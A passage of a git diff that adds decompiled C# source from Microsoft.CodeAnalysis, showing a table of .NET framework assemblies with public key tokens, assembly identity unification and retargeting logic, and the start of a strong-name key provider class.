s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Transactions", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Mobile", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.RegularExpressions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Services", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Forms", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "AspNetMMCExt", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "sysglobl", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build.Engine", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build.Framework", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationCFFRasterizer", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationCore", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.Aero", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.Classic", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.Luna", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.Royale", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationUI", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "ReachFramework", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Printing", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Speech", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "UIAutomationClient", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "UIAutomationClientsideProviders", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "UIAutomationProvider", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "UIAutomationTypes", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "WindowsBase", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "WindowsFormsIntegration", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "SMDiagnostics", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IdentityModel", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IdentityModel.Selectors", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IO.Log", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Serialization", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Install", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.WasHosting", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Workflow.Activities", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Workflow.ComponentModel", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Workflow.Runtime", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Transactions.Bridge", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Transactions.Bridge.Dtc", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.AddIn", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.AddIn.Contract", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel.Composition", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Core", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.DataSetExtensions", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Linq", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml.Linq", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.DirectoryServices.AccountManagement", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Management.Instrumentation", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Web", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Extensions", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Extensions.Design", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Presentation", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.WorkflowServices", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel.DataAnnotations", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Entity", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Entity.Design", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Services", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Services.Client", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Data.Services.Design", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Abstractions", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.DynamicData", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.DynamicData.Design", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Entity", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Entity.Design", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.Routing", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.CSharp", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Dynamic", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Numerics", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xaml", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Workflow.Compiler", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Activities.Build", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build.Conversion.v4.0", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build.Tasks.v4.0", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Build.Utilities.v4.0", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Internal.Tasks.Dataflow", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualBasic.Activities.Compiler", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VS_ASSEMBLYVERSION_STR_L }, + { "Microsoft.VisualC.STLCLR", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_VC_STLCLR_ASSEMBLYVERSION_STR_L }, + { "Microsoft.Windows.ApplicationServer.Applications", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationBuildTasks", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.Aero2", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework.AeroLite", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework-SystemCore", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework-SystemData", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework-SystemDrawing", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework-SystemXml", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "PresentationFramework-SystemXmlLinq", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Activities", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Activities.Core.Presentation", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Activities.DurableInstancing", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Activities.Presentation", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel.Composition.Registration", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Device", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IdentityModel.Services", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IO.Compression", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IO.Compression.FileSystem", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.Http", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.Http.WebRequest", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Context", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Caching", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.DurableInstancing", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.WindowsRuntime", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.WindowsRuntime.UI.Xaml", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Activation", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Activities", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Channels", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Discovery", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Internals", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Routing", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.ServiceMoniker40", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.ApplicationServices", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.DataVisualization", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Web.DataVisualization.Design", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Controls.Ribbon", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Forms.DataVisualization", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Forms.DataVisualization.Design", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows.Input.Manipulations", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xaml.Hosting", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "XamlBuildTask", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "XsdBuildTask", s_SHAREDLIB_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Numerics.Vectors", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Collections", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Collections.Concurrent", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel.Annotations", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ComponentModel.EventBasedAsync", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Diagnostics.Contracts", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Diagnostics.Debug", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Diagnostics.Tools", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Diagnostics.Tracing", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Dynamic.Runtime", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Globalization", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.IO", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Linq", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Linq.Expressions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Linq.Parallel", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Linq.Queryable", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.Http.Rtc", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.NetworkInformation", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.Primitives", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Net.Requests", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ObjectModel", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Emit", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Emit.ILGeneration", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Emit.Lightweight", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Extensions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Reflection.Primitives", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Resources.ResourceManager", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Extensions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Handles", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.InteropServices", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.InteropServices.WindowsRuntime", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Numerics", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Serialization.Json", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Serialization.Primitives", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Runtime.Serialization.Xml", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Security.Principal", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Duplex", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Http", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.NetTcp", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Primitives", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.ServiceModel.Security", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Text.Encoding", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Text.Encoding.Extensions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Text.RegularExpressions", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Threading", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Threading.Tasks", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Threading.Tasks.Parallel", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Threading.Timer", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml.ReaderWriter", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml.XDocument", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml.XmlSerializer", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Windows", s_MICROSOFT_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L }, + { "System.Xml.Serialization", s_ECMA_PUBLICKEY_STR_L, s_VER_ASSEMBLYVERSION_STR_L } + }; + + public new static DesktopAssemblyIdentityComparer Default { get; } = new DesktopAssemblyIdentityComparer(default(AssemblyPortabilityPolicy)); + + internal AssemblyPortabilityPolicy PortabilityPolicy => policy; + + internal DesktopAssemblyIdentityComparer(AssemblyPortabilityPolicy policy) + { + this.policy = policy; + } + + public static DesktopAssemblyIdentityComparer LoadFromXml(Stream input) + { + return new DesktopAssemblyIdentityComparer(AssemblyPortabilityPolicy.LoadFromXml(input)); + } + + internal override bool ApplyUnificationPolicies(ref AssemblyIdentity reference, ref AssemblyIdentity definition, AssemblyIdentityParts referenceParts, out bool isDefinitionFxAssembly) + { + if (reference.ContentType == AssemblyContentType.Default && AssemblyIdentityComparer.SimpleNameComparer.Equals(reference.Name, definition.Name) && AssemblyIdentityComparer.SimpleNameComparer.Equals(reference.Name, "mscorlib")) + { + isDefinitionFxAssembly = true; + reference = definition; + return true; + } + if (!reference.IsRetargetable && definition.IsRetargetable) + { + isDefinitionFxAssembly = false; + return false; + } + reference = Port(reference); + definition = Port(definition); + if (reference.IsRetargetable && !definition.IsRetargetable) + { + if (!AssemblyIdentity.IsFullName(referenceParts)) + { + isDefinitionFxAssembly = false; + return false; + } + if (!IsOptionallyRetargetableAssembly(reference) || !AssemblyIdentity.KeysEqual(reference, definition)) + { + reference = Retarget(reference); + } + } + if (reference.IsRetargetable && definition.IsRetargetable) + { + isDefinitionFxAssembly = IsRetargetableAssembly(definition); + } + else + { + isDefinitionFxAssembly = IsFrameworkAssembly(definition); + } + return true; + } + + private static bool IsFrameworkAssembly(AssemblyIdentity identity) + { + if (identity.ContentType != AssemblyContentType.Default) + { + return false; + } + if (!s_arFxPolicy.TryGetValue(identity.Name, out var value) || !value.PublicKeyToken.SequenceEqual(identity.PublicKeyToken)) + { + return false; + } + int num = (identity.Version.Major << 16) | identity.Version.Minor; + uint num2 = (uint)((value.Version.Major << 16) | value.Version.Minor); + return (uint)num <= num2; + } + + private static bool IsRetargetableAssembly(AssemblyIdentity identity) + { + IsRetargetableAssembly(identity, out var retargetable, out var _); + return retargetable; + } + + private static bool IsOptionallyRetargetableAssembly(AssemblyIdentity identity) + { + if (!identity.IsRetargetable) + { + return false; + } + IsRetargetableAssembly(identity, out var retargetable, out var portable); + return retargetable && portable; + } + + private static bool IsTriviallyNonRetargetable(AssemblyIdentity identity) + { + if (identity.CultureName.Length == 0 && identity.ContentType == AssemblyContentType.Default) + { + return !identity.IsStrongName; + } + return true; + } + + private static void IsRetargetableAssembly(AssemblyIdentity identity, out bool retargetable, out bool portable) + { + retargetable = (portable = false); + if (!IsTriviallyNonRetargetable(identity)) + { + retargetable = s_arRetargetPolicy.TryGetValue(identity, out var value); + portable = value.IsPortable; + } + } + + private static AssemblyIdentity Retarget(AssemblyIdentity identity) + { + if (IsTriviallyNonRetargetable(identity)) + { + return identity; + } + if (s_arRetargetPolicy.TryGetValue(identity, out var value)) + { + return new AssemblyIdentity(value.NewName ?? identity.Name, (Version)value.NewVersion, identity.CultureName, value.NewPublicKeyToken, false, identity.IsRetargetable, AssemblyContentType.Default); + } + return identity; + } + + private AssemblyIdentity Port(AssemblyIdentity identity) + { + if (identity.IsRetargetable || !identity.IsStrongName || identity.ContentType != AssemblyContentType.Default) + { + return identity; + } + Version version = null; + ImmutableArray publicKeyOrToken = default(ImmutableArray); + AssemblyVersion assemblyVersion = (AssemblyVersion)identity.Version; + if (assemblyVersion >= new AssemblyVersion(2, 0, 0, 0) && assemblyVersion <= new AssemblyVersion(5, 9, 0, 0)) + { + if (identity.PublicKeyToken.SequenceEqual(s_SILVERLIGHT_PLATFORM_PUBLICKEY_STR_L)) + { + if (!policy.SuppressSilverlightPlatformAssembliesPortability && (AssemblyIdentityComparer.SimpleNameComparer.Equals(identity.Name, "System") || AssemblyIdentityComparer.SimpleNameComparer.Equals(identity.Name, "System.Core"))) + { + version = (Version)s_VER_ASSEMBLYVERSION_STR_L; + publicKeyOrToken = s_ECMA_PUBLICKEY_STR_L; + } + } + else if (identity.PublicKeyToken.SequenceEqual(s_SILVERLIGHT_PUBLICKEY_STR_L) && !policy.SuppressSilverlightLibraryAssembliesPortability) + { + if (AssemblyIdentityComparer.SimpleNameComparer.Equals(identity.Name, "Microsoft.VisualBasic")) + { + version = new Version(10, 0, 0, 0); + publicKeyOrToken = s_MICROSOFT_PUBLICKEY_STR_L; + } + if (AssemblyIdentityComparer.SimpleNameComparer.Equals(identity.Name, "System.ComponentModel.Composition")) + { + version = (Version)s_VER_ASSEMBLYVERSION_STR_L; + publicKeyOrToken = s_ECMA_PUBLICKEY_STR_L; + } + } + } + if (version == null) + { + return identity; + } + return new AssemblyIdentity(identity.Name, version, identity.CultureName, publicKeyOrToken, false, identity.IsRetargetable, AssemblyContentType.Default); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopStrongNameProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopStrongNameProvider.cs new file mode 100644 index 0000000..890dd57 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DesktopStrongNameProvider.cs @@ -0,0 +1,220 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Interop; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class DesktopStrongNameProvider : StrongNameProvider +{ + internal sealed class ClrStrongNameMissingException : Exception + { + } + + private readonly ImmutableArray _keyFileSearchPaths; + + internal override StrongNameFileSystem FileSystem { get; } + + public DesktopStrongNameProvider(ImmutableArray keyFileSearchPaths) + : this(keyFileSearchPaths, StrongNameFileSystem.Instance) + { + } + + public DesktopStrongNameProvider(ImmutableArray keyFileSearchPaths = default(ImmutableArray), string? tempPath = null) + : this(keyFileSearchPaths, (tempPath == null) ? StrongNameFileSystem.Instance : new StrongNameFileSystem(tempPath)) + { + } + + internal DesktopStrongNameProvider(ImmutableArray keyFileSearchPaths, StrongNameFileSystem strongNameFileSystem) + { + if (!keyFileSearchPaths.IsDefault && keyFileSearchPaths.Any((string path) => !PathUtilities.IsAbsolute(path))) + { + throw new ArgumentException(CodeAnalysisResources.AbsolutePathExpected, "keyFileSearchPaths"); + } + FileSystem = strongNameFileSystem ?? StrongNameFileSystem.Instance; + _keyFileSearchPaths = keyFileSearchPaths.NullToEmpty(); + } + + internal override StrongNameKeys CreateKeys(string? keyFilePath, string? keyContainerName, bool hasCounterSignature, CommonMessageProvider messageProvider) + { + ImmutableArray keyPair = default(ImmutableArray); + ImmutableArray publicKey = default(ImmutableArray); + string keyContainerName2 = null; + if (!string.IsNullOrEmpty(keyFilePath)) + { + try + { + string text = ResolveStrongNameKeyFile(keyFilePath, FileSystem, _keyFileSearchPaths); + if (text == null) + { + return new StrongNameKeys(StrongNameKeys.GetKeyFileError(messageProvider, keyFilePath, CodeAnalysisResources.FileNotFound)); + } + return StrongNameKeys.CreateHelper(ImmutableArray.Create(FileSystem.ReadAllBytes(text)), keyFilePath, hasCounterSignature); + } + catch (Exception ex) + { + return new StrongNameKeys(StrongNameKeys.GetKeyFileError(messageProvider, keyFilePath, ex.Message)); + } + } + if (!string.IsNullOrEmpty(keyContainerName)) + { + try + { + ReadKeysFromContainer(keyContainerName, out publicKey); + keyContainerName2 = keyContainerName; + 